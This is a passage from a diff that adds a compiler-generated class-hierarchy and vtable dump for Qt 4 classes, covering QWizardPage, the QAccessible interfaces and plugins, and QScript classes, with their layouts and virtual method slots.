+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QWizardPage::initializePage
+228 QWizardPage::cleanupPage
+232 QWizardPage::validatePage
+236 QWizardPage::isComplete
+240 QWizardPage::nextId
+244 (int (*)(...))-0x000000008
+248 (int (*)(...))(& _ZTI11QWizardPage)
+252 QWizardPage::_ZThn8_N11QWizardPageD1Ev
+256 QWizardPage::_ZThn8_N11QWizardPageD0Ev
+260 QWidget::_ZThn8_NK7QWidget7devTypeEv
+264 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+268 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QWizardPage
+ size=20 align=4
+ base size=20 base align=4
+QWizardPage (0xb1af4cc0) 0
+ vptr=((& QWizardPage::_ZTV11QWizardPage) + 8u)
+ QWidget (0xb1b44640) 0
+ primary-for QWizardPage (0xb1af4cc0)
+ QObject (0xb1ad7e88) 0
+ primary-for QWidget (0xb1b44640)
+ QPaintDevice (0xb1ad7ec4) 8
+ vptr=((& QWizardPage::_ZTV11QWizardPage) + 252u)
+
+Class QAccessible
+ size=1 align=1
+ base size=0 base align=1
+QAccessible (0xb1b7b0f0) 0 empty
+
+Vtable for QAccessibleInterface
+QAccessibleInterface::_ZTV20QAccessibleInterface: 19u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QAccessibleInterface)
+8 QAccessibleInterface::~QAccessibleInterface
+12 QAccessibleInterface::~QAccessibleInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 __cxa_pure_virtual
+48 __cxa_pure_virtual
+52 __cxa_pure_virtual
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+
+Class QAccessibleInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleInterface (0xb1b8f3c0) 0 nearly-empty
+ vptr=((& QAccessibleInterface::_ZTV20QAccessibleInterface) + 8u)
+ QAccessible (0xb1b7b3c0) 0 empty
+
+Vtable for QAccessibleInterfaceEx
+QAccessibleInterfaceEx::_ZTV22QAccessibleInterfaceEx: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QAccessibleInterfaceEx)
+8 QAccessibleInterfaceEx::~QAccessibleInterfaceEx
+12 QAccessibleInterfaceEx::~QAccessibleInterfaceEx
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 __cxa_pure_virtual
+48 __cxa_pure_virtual
+52 __cxa_pure_virtual
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 __cxa_pure_virtual
+80 QAccessibleInterfaceEx::virtual_hook
+84 QAccessibleInterfaceEx::interface_cast
+
+Class QAccessibleInterfaceEx
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleInterfaceEx (0xb1b8fb00) 0 nearly-empty
+ vptr=((& QAccessibleInterfaceEx::_ZTV22QAccessibleInterfaceEx) + 8u)
+ QAccessibleInterface (0xb1b8fb40) 0 nearly-empty
+ primary-for QAccessibleInterfaceEx (0xb1b8fb00)
+ QAccessible (0xb1b7b960) 0 empty
+
+Vtable for QAccessibleEvent
+QAccessibleEvent::_ZTV16QAccessibleEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QAccessibleEvent)
+8 QAccessibleEvent::~QAccessibleEvent
+12 QAccessibleEvent::~QAccessibleEvent
+
+Class QAccessibleEvent
+ size=20 align=4
+ base size=20 base align=4
+QAccessibleEvent (0xb1b8fc00) 0
+ vptr=((& QAccessibleEvent::_ZTV16QAccessibleEvent) + 8u)
+ QEvent (0xb1b7b9d8) 0
+ primary-for QAccessibleEvent (0xb1b8fc00)
+
+Vtable for QAccessible2Interface
+QAccessible2Interface::_ZTV21QAccessible2Interface: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QAccessible2Interface)
+8 QAccessible2Interface::~QAccessible2Interface
+12 QAccessible2Interface::~QAccessible2Interface
+
+Class QAccessible2Interface
+ size=4 align=4
+ base size=4 base align=4
+QAccessible2Interface (0xb1a2921c) 0 nearly-empty
+ vptr=((& QAccessible2Interface::_ZTV21QAccessible2Interface) + 8u)
+
+Vtable for QAccessibleTextInterface
+QAccessibleTextInterface::_ZTV24QAccessibleTextInterface: 20u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QAccessibleTextInterface)
+8 QAccessibleTextInterface::~QAccessibleTextInterface
+12 QAccessibleTextInterface::~QAccessibleTextInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 __cxa_pure_virtual
+48 __cxa_pure_virtual
+52 __cxa_pure_virtual
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 __cxa_pure_virtual
+
+Class QAccessibleTextInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleTextInterface (0xb1a2a480) 0 nearly-empty
+ vptr=((& QAccessibleTextInterface::_ZTV24QAccessibleTextInterface) + 8u)
+ QAccessible2Interface (0xb1a295a0) 0 nearly-empty
+ primary-for QAccessibleTextInterface (0xb1a2a480)
+
+Vtable for QAccessibleEditableTextInterface
+QAccessibleEditableTextInterface::_ZTV32QAccessibleEditableTextInterface: 11u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI32QAccessibleEditableTextInterface)
+8 QAccessibleEditableTextInterface::~QAccessibleEditableTextInterface
+12 QAccessibleEditableTextInterface::~QAccessibleEditableTextInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+
+Class QAccessibleEditableTextInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleEditableTextInterface (0xb1a2a700) 0 nearly-empty
+ vptr=((& QAccessibleEditableTextInterface::_ZTV32QAccessibleEditableTextInterface) + 8u)
+ QAccessible2Interface (0xb1a298e8) 0 nearly-empty
+ primary-for QAccessibleEditableTextInterface (0xb1a2a700)
+
+Vtable for QAccessibleSimpleEditableTextInterface
+QAccessibleSimpleEditableTextInterface::_ZTV38QAccessibleSimpleEditableTextInterface: 11u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI38QAccessibleSimpleEditableTextInterface)
+8 QAccessibleSimpleEditableTextInterface::~QAccessibleSimpleEditableTextInterface
+12 QAccessibleSimpleEditableTextInterface::~QAccessibleSimpleEditableTextInterface
+16 QAccessibleSimpleEditableTextInterface::copyText
+20 QAccessibleSimpleEditableTextInterface::deleteText
+24 QAccessibleSimpleEditableTextInterface::insertText
+28 QAccessibleSimpleEditableTextInterface::cutText
+32 QAccessibleSimpleEditableTextInterface::pasteText
+36 QAccessibleSimpleEditableTextInterface::replaceText
+40 QAccessibleSimpleEditableTextInterface::setAttributes
+
+Class QAccessibleSimpleEditableTextInterface
+ size=8 align=4
+ base size=8 base align=4
+QAccessibleSimpleEditableTextInterface (0xb1a2a980) 0
+ vptr=((& QAccessibleSimpleEditableTextInterface::_ZTV38QAccessibleSimpleEditableTextInterface) + 8u)
+ QAccessibleEditableTextInterface (0xb1a2a9c0) 0 nearly-empty
+ primary-for QAccessibleSimpleEditableTextInterface (0xb1a2a980)
+ QAccessible2Interface (0xb1a29c30) 0 nearly-empty
+ primary-for QAccessibleEditableTextInterface (0xb1a2a9c0)
+
+Vtable for QAccessibleValueInterface
+QAccessibleValueInterface::_ZTV25QAccessibleValueInterface: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QAccessibleValueInterface)
+8 QAccessibleValueInterface::~QAccessibleValueInterface
+12 QAccessibleValueInterface::~QAccessibleValueInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+
+Class QAccessibleValueInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleValueInterface (0xb1a2aa80) 0 nearly-empty
+ vptr=((& QAccessibleValueInterface::_ZTV25QAccessibleValueInterface) + 8u)
+ QAccessible2Interface (0xb1a29c6c) 0 nearly-empty
+ primary-for QAccessibleValueInterface (0xb1a2aa80)
+
+Vtable for QAccessibleTableInterface
+QAccessibleTableInterface::_ZTV25QAccessibleTableInterface: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QAccessibleTableInterface)
+8 QAccessibleTableInterface::~QAccessibleTableInterface
+12 QAccessibleTableInterface::~QAccessibleTableInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 __cxa_pure_virtual
+48 __cxa_pure_virtual
+52 __cxa_pure_virtual
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 __cxa_pure_virtual
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+88 __cxa_pure_virtual
+92 __cxa_pure_virtual
+96 __cxa_pure_virtual
+100 __cxa_pure_virtual
+104 __cxa_pure_virtual
+108 __cxa_pure_virtual
+112 __cxa_pure_virtual
+116 __cxa_pure_virtual
+
+Class QAccessibleTableInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleTableInterface (0xb1a2ad00) 0 nearly-empty
+ vptr=((& QAccessibleTableInterface::_ZTV25QAccessibleTableInterface) + 8u)
+ QAccessible2Interface (0xb1a29fb4) 0 nearly-empty
+ primary-for QAccessibleTableInterface (0xb1a2ad00)
+
+Vtable for QAccessibleActionInterface
+QAccessibleActionInterface::_ZTV26QAccessibleActionInterface: 10u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI26QAccessibleActionInterface)
+8 QAccessibleActionInterface::~QAccessibleActionInterface
+12 QAccessibleActionInterface::~QAccessibleActionInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+
+Class QAccessibleActionInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleActionInterface (0xb1a2adc0) 0 nearly-empty
+ vptr=((& QAccessibleActionInterface::_ZTV26QAccessibleActionInterface) + 8u)
+ QAccessible2Interface (0xb1a4d03c) 0 nearly-empty
+ primary-for QAccessibleActionInterface (0xb1a2adc0)
+
+Vtable for QAccessibleImageInterface
+QAccessibleImageInterface::_ZTV25QAccessibleImageInterface: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QAccessibleImageInterface)
+8 QAccessibleImageInterface::~QAccessibleImageInterface
+12 QAccessibleImageInterface::~QAccessibleImageInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+
+Class QAccessibleImageInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleImageInterface (0xb1a2ae80) 0 nearly-empty
+ vptr=((& QAccessibleImageInterface::_ZTV25QAccessibleImageInterface) + 8u)
+ QAccessible2Interface (0xb1a4d0b4) 0 nearly-empty
+ primary-for QAccessibleImageInterface (0xb1a2ae80)
+
+Vtable for QAccessibleBridge
+QAccessibleBridge::_ZTV17QAccessibleBridge: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QAccessibleBridge)
+8 QAccessibleBridge::~QAccessibleBridge
+12 QAccessibleBridge::~QAccessibleBridge
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QAccessibleBridge
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleBridge (0xb1a4d12c) 0 nearly-empty
+ vptr=((& QAccessibleBridge::_ZTV17QAccessibleBridge) + 8u)
+
+Vtable for QAccessibleBridgeFactoryInterface
+QAccessibleBridgeFactoryInterface::_ZTV33QAccessibleBridgeFactoryInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI33QAccessibleBridgeFactoryInterface)
+8 QAccessibleBridgeFactoryInterface::~QAccessibleBridgeFactoryInterface
+12 QAccessibleBridgeFactoryInterface::~QAccessibleBridgeFactoryInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QAccessibleBridgeFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleBridgeFactoryInterface (0xb1a52180) 0 nearly-empty
+ vptr=((& QAccessibleBridgeFactoryInterface::_ZTV33QAccessibleBridgeFactoryInterface) + 8u)
+ QFactoryInterface (0xb1a4d348) 0 nearly-empty
+ primary-for QAccessibleBridgeFactoryInterface (0xb1a52180)
+
+Vtable for QAccessibleBridgePlugin
+QAccessibleBridgePlugin::_ZTV23QAccessibleBridgePlugin: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QAccessibleBridgePlugin)
+8 QAccessibleBridgePlugin::metaObject
+12 QAccessibleBridgePlugin::qt_metacast
+16 QAccessibleBridgePlugin::qt_metacall
+20 QAccessibleBridgePlugin::~QAccessibleBridgePlugin
+24 QAccessibleBridgePlugin::~QAccessibleBridgePlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 (int (*)(...))-0x000000008
+68 (int (*)(...))(& _ZTI23QAccessibleBridgePlugin)
+72 QAccessibleBridgePlugin::_ZThn8_N23QAccessibleBridgePluginD1Ev
+76 QAccessibleBridgePlugin::_ZThn8_N23QAccessibleBridgePluginD0Ev
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+
+Class QAccessibleBridgePlugin
+ size=12 align=4
+ base size=12 base align=4
+QAccessibleBridgePlugin (0xb1a5a0a0) 0
+ vptr=((& QAccessibleBridgePlugin::_ZTV23QAccessibleBridgePlugin) + 8u)
+ QObject (0xb1a4d654) 0
+ primary-for QAccessibleBridgePlugin (0xb1a5a0a0)
+ QAccessibleBridgeFactoryInterface (0xb1a52440) 8 nearly-empty
+ vptr=((& QAccessibleBridgePlugin::_ZTV23QAccessibleBridgePlugin) + 72u)
+ QFactoryInterface (0xb1a4d690) 8 nearly-empty
+ primary-for QAccessibleBridgeFactoryInterface (0xb1a52440)
+
+Vtable for QAccessibleObject
+QAccessibleObject::_ZTV17QAccessibleObject: 19u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QAccessibleObject)
+8 QAccessibleObject::~QAccessibleObject
+12 QAccessibleObject::~QAccessibleObject
+16 QAccessibleObject::isValid
+20 QAccessibleObject::object
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 __cxa_pure_virtual
+48 QAccessibleObject::setText
+52 QAccessibleObject::rect
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 QAccessibleObject::userActionCount
+68 QAccessibleObject::actionText
+72 QAccessibleObject::doAction
+
+Class QAccessibleObject
+ size=8 align=4
+ base size=8 base align=4
+QAccessibleObject (0xb1a52680) 0
+ vptr=((& QAccessibleObject::_ZTV17QAccessibleObject) + 8u)
+ QAccessibleInterface (0xb1a526c0) 0 nearly-empty
+ primary-for QAccessibleObject (0xb1a52680)
+ QAccessible (0xb1a4d7bc) 0 empty
+
+Vtable for QAccessibleObjectEx
+QAccessibleObjectEx::_ZTV19QAccessibleObjectEx: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QAccessibleObjectEx)
+8 QAccessibleObjectEx::~QAccessibleObjectEx
+12 QAccessibleObjectEx::~QAccessibleObjectEx
+16 QAccessibleObjectEx::isValid
+20 QAccessibleObjectEx::object
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 __cxa_pure_virtual
+48 QAccessibleObjectEx::setText
+52 QAccessibleObjectEx::rect
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 QAccessibleObjectEx::userActionCount
+68 QAccessibleObjectEx::actionText
+72 QAccessibleObjectEx::doAction
+76 __cxa_pure_virtual
+80 QAccessibleInterfaceEx::virtual_hook
+84 QAccessibleInterfaceEx::interface_cast
+
+Class QAccessibleObjectEx
+ size=8 align=4
+ base size=8 base align=4
+QAccessibleObjectEx (0xb1a52740) 0
+ vptr=((& QAccessibleObjectEx::_ZTV19QAccessibleObjectEx) + 8u)
+ QAccessibleInterfaceEx (0xb1a52780) 0 nearly-empty
+ primary-for QAccessibleObjectEx (0xb1a52740)
+ QAccessibleInterface (0xb1a527c0) 0 nearly-empty
+ primary-for QAccessibleInterfaceEx (0xb1a52780)
+ QAccessible (0xb1a4d7f8) 0 empty
+
+Vtable for QAccessibleApplication
+QAccessibleApplication::_ZTV22QAccessibleApplication: 19u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QAccessibleApplication)
+8 QAccessibleApplication::~QAccessibleApplication
+12 QAccessibleApplication::~QAccessibleApplication
+16 QAccessibleObject::isValid
+20 QAccessibleObject::object
+24 QAccessibleApplication::childCount
+28 QAccessibleApplication::indexOfChild
+32 QAccessibleApplication::relationTo
+36 QAccessibleApplication::childAt
+40 QAccessibleApplication::navigate
+44 QAccessibleApplication::text
+48 QAccessibleObject::setText
+52 QAccessibleObject::rect
+56 QAccessibleApplication::role
+60 QAccessibleApplication::state
+64 QAccessibleApplication::userActionCount
+68 QAccessibleApplication::actionText
+72 QAccessibleApplication::doAction
+
+Class QAccessibleApplication
+ size=8 align=4
+ base size=8 base align=4
+QAccessibleApplication (0xb1a52840) 0
+ vptr=((& QAccessibleApplication::_ZTV22QAccessibleApplication) + 8u)
+ QAccessibleObject (0xb1a52880) 0
+ primary-for QAccessibleApplication (0xb1a52840)
+ QAccessibleInterface (0xb1a528c0) 0 nearly-empty
+ primary-for QAccessibleObject (0xb1a52880)
+ QAccessible (0xb1a4d834) 0 empty
+
+Vtable for QAccessibleFactoryInterface
+QAccessibleFactoryInterface::_ZTV27QAccessibleFactoryInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI27QAccessibleFactoryInterface)
+8 QAccessibleFactoryInterface::~QAccessibleFactoryInterface
+12 QAccessibleFactoryInterface::~QAccessibleFactoryInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QAccessibleFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QAccessibleFactoryInterface (0xb1a70d20) 0 nearly-empty
+ vptr=((& QAccessibleFactoryInterface::_ZTV27QAccessibleFactoryInterface) + 8u)
+ QAccessible (0xb1a4d870) 0 empty
+ QFactoryInterface (0xb1a4d8ac) 0 nearly-empty
+ primary-for QAccessibleFactoryInterface (0xb1a70d20)
+
+Vtable for QAccessiblePlugin
+QAccessiblePlugin::_ZTV17QAccessiblePlugin: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QAccessiblePlugin)
+8 QAccessiblePlugin::metaObject
+12 QAccessiblePlugin::qt_metacast
+16 QAccessiblePlugin::qt_metacall
+20 QAccessiblePlugin::~QAccessiblePlugin
+24 QAccessiblePlugin::~QAccessiblePlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 (int (*)(...))-0x000000008
+68 (int (*)(...))(& _ZTI17QAccessiblePlugin)
+72 QAccessiblePlugin::_ZThn8_N17QAccessiblePluginD1Ev
+76 QAccessiblePlugin::_ZThn8_N17QAccessiblePluginD0Ev
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+
+Class QAccessiblePlugin
+ size=12 align=4
+ base size=12 base align=4
+QAccessiblePlugin (0xb1a76730) 0
+ vptr=((& QAccessiblePlugin::_ZTV17QAccessiblePlugin) + 8u)
+ QObject (0xb1a4dbb8) 0
+ primary-for QAccessiblePlugin (0xb1a76730)
+ QAccessibleFactoryInterface (0xb1a76780) 8 nearly-empty
+ vptr=((& QAccessiblePlugin::_ZTV17QAccessiblePlugin) + 72u)
+ QAccessible (0xb1a4dbf4) 8 empty
+ QFactoryInterface (0xb1a4dc30) 8 nearly-empty
+ primary-for QAccessibleFactoryInterface (0xb1a76780)
+
+Vtable for QAccessibleWidget
+QAccessibleWidget::_ZTV17QAccessibleWidget: 19u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QAccessibleWidget)
+8 QAccessibleWidget::~QAccessibleWidget
+12 QAccessibleWidget::~QAccessibleWidget
+16 QAccessibleObject::isValid
+20 QAccessibleObject::object
+24 QAccessibleWidget::childCount
+28 QAccessibleWidget::indexOfChild
+32 QAccessibleWidget::relationTo
+36 QAccessibleWidget::childAt
+40 QAccessibleWidget::navigate
+44 QAccessibleWidget::text
+48 QAccessibleObject::setText
+52 QAccessibleWidget::rect
+56 QAccessibleWidget::role
+60 QAccessibleWidget::state
+64 QAccessibleWidget::userActionCount
+68 QAccessibleWidget::actionText
+72 QAccessibleWidget::doAction
+
+Class QAccessibleWidget
+ size=12 align=4
+ base size=12 base align=4
+QAccessibleWidget (0xb1a52dc0) 0
+ vptr=((& QAccessibleWidget::_ZTV17QAccessibleWidget) + 8u)
+ QAccessibleObject (0xb1a52e00) 0
+ primary-for QAccessibleWidget (0xb1a52dc0)
+ QAccessibleInterface (0xb1a52e40) 0 nearly-empty
+ primary-for QAccessibleObject (0xb1a52e00)
+ QAccessible (0xb1a4dd5c) 0 empty
+
+Vtable for QAccessibleWidgetEx
+QAccessibleWidgetEx::_ZTV19QAccessibleWidgetEx: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QAccessibleWidgetEx)
+8 QAccessibleWidgetEx::~QAccessibleWidgetEx
+12 QAccessibleWidgetEx::~QAccessibleWidgetEx
+16 QAccessibleObjectEx::isValid
+20 QAccessibleObjectEx::object
+24 QAccessibleWidgetEx::childCount
+28 QAccessibleWidgetEx::indexOfChild
+32 QAccessibleWidgetEx::relationTo
+36 QAccessibleWidgetEx::childAt
+40 QAccessibleWidgetEx::navigate
+44 QAccessibleWidgetEx::text
+48 QAccessibleObjectEx::setText
+52 QAccessibleWidgetEx::rect
+56 QAccessibleWidgetEx::role
+60 QAccessibleWidgetEx::state
+64 QAccessibleObjectEx::userActionCount
+68 QAccessibleWidgetEx::actionText
+72 QAccessibleWidgetEx::doAction
+76 QAccessibleWidgetEx::invokeMethodEx
+80 QAccessibleInterfaceEx::virtual_hook
+84 QAccessibleInterfaceEx::interface_cast
+
+Class QAccessibleWidgetEx
+ size=12 align=4
+ base size=12 base align=4
+QAccessibleWidgetEx (0xb1a52ec0) 0
+ vptr=((& QAccessibleWidgetEx::_ZTV19QAccessibleWidgetEx) + 8u)
+ QAccessibleObjectEx (0xb1a52f00) 0
+ primary-for QAccessibleWidgetEx (0xb1a52ec0)
+ QAccessibleInterfaceEx (0xb1a52f40) 0 nearly-empty
+ primary-for QAccessibleObjectEx (0xb1a52f00)
+ QAccessibleInterface (0xb1a52f80) 0 nearly-empty
+ primary-for QAccessibleInterfaceEx (0xb1a52f40)
+ QAccessible (0xb1a4dd98) 0 empty
+
+Class QScriptable
+ size=4 align=4
+ base size=4 base align=4
+QScriptable (0xb1a4ddd4) 0
+
+Class QScriptValue
+ size=4 align=4
+ base size=4 base align=4
+QScriptValue (0xb1a4df3c) 0
+
+Vtable for QScriptClass
+QScriptClass::_ZTV12QScriptClass: 13u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QScriptClass)
+8 QScriptClass::~QScriptClass
+12 QScriptClass::~QScriptClass
+16 QScriptClass::queryProperty
+20 QScriptClass::property
+24 QScriptClass::setProperty
+28 QScriptClass::propertyFlags
+32 QScriptClass::newIterator
+36 QScriptClass::prototype
+40 QScriptClass::name
+44 QScriptClass::supportsExtension
+48 QScriptClass::extension
+
+Class QScriptClass
+ size=8 align=4
+ base size=8 base align=4
+QScriptClass (0xb18be30c) 0
+ vptr=((& QScriptClass::_ZTV12QScriptClass) + 8u)
+
+Vtable for QScriptClassPropertyIterator
+QScriptClassPropertyIterator::_ZTV28QScriptClassPropertyIterator: 13u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI28QScriptClassPropertyIterator)
+8 QScriptClassPropertyIterator::~QScriptClassPropertyIterator
+12 QScriptClassPropertyIterator::~QScriptClassPropertyIterator
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 QScriptClassPropertyIterator::id
+48 QScriptClassPropertyIterator::flags
+
+Class QScriptClassPropertyIterator
+ size=8 align=4
+ base size=8 base align=4
+QScriptClassPropertyIterator (0xb18be564) 0
+ vptr=((& QScriptClassPropertyIterator::_ZTV28QScriptClassPropertyIterator) + 8u)
+
+Class QScriptContext
+ size=4 align=4
+ base size=4 base align=4
+QScriptContext (0xb18be6cc) 0
+
+Class QScriptContextInfo
+ size=4 align=4
+ base size=4 base align=4
+QScriptContextInfo (0xb18be7f8) 0
+
+Class QScriptString
+ size=4 align=4
+ base size=4 base align=4
+QScriptString (0xb18be960) 0
+
+Class QScriptProgram
+ size=4 align=4
+ base size=4 base align=4
+QScriptProgram (0xb18beac8) 0
+
+Class QScriptSyntaxCheckResult
+ size=4 align=4
+ base size=4 base align=4
+QScriptSyntaxCheckResult (0xb18bec30) 0
+
+Vtable for QScriptEngine
+QScriptEngine::_ZTV13QScriptEngine: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QScriptEngine)
+8 QScriptEngine::metaObject
+12 QScriptEngine::qt_metacast
+16 QScriptEngine::qt_metacall
+20 QScriptEngine::~QScriptEngine
+24 QScriptEngine::~QScriptEngine
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QScriptEngine
+ size=8 align=4
+ base size=8 base align=4
+QScriptEngine (0xb1893e40) 0
+ vptr=((& QScriptEngine::_ZTV13QScriptEngine) + 8u)
+ QObject (0xb18bed98) 0
+ primary-for QScriptEngine (0xb1893e40)
+
+Vtable for QScriptEngineAgent
+QScriptEngineAgent::_ZTV18QScriptEngineAgent: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QScriptEngineAgent)
+8 QScriptEngineAgent::~QScriptEngineAgent
+12 QScriptEngineAgent::~QScriptEngineAgent
+16 QScriptEngineAgent::scriptLoad
+20 QScriptEngineAgent::scriptUnload
+24 QScriptEngineAgent::contextPush
+28 QScriptEngineAgent::contextPop
+32 QScriptEngineAgent::functionEntry
+36 QScriptEngineAgent::functionExit
+40 QScriptEngineAgent::positionChange
+44 QScriptEngineAgent::exceptionThrow
+48 QScriptEngineAgent::exceptionCatch
+52 QScriptEngineAgent::supportsExtension
+56 QScriptEngineAgent::extension
+
+Class QScriptEngineAgent
+ size=8 align=4
+ base size=8 base align=4
+QScriptEngineAgent (0xb17cc384) 0
+ vptr=((& QScriptEngineAgent::_ZTV18QScriptEngineAgent) + 8u)
+
+Vtable for QScriptExtensionInterface
+QScriptExtensionInterface::_ZTV25QScriptExtensionInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QScriptExtensionInterface)
+8 QScriptExtensionInterface::~QScriptExtensionInterface
+12 QScriptExtensionInterface::~QScriptExtensionInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QScriptExtensionInterface
+ size=4 align=4
+ base size=4 base align=4
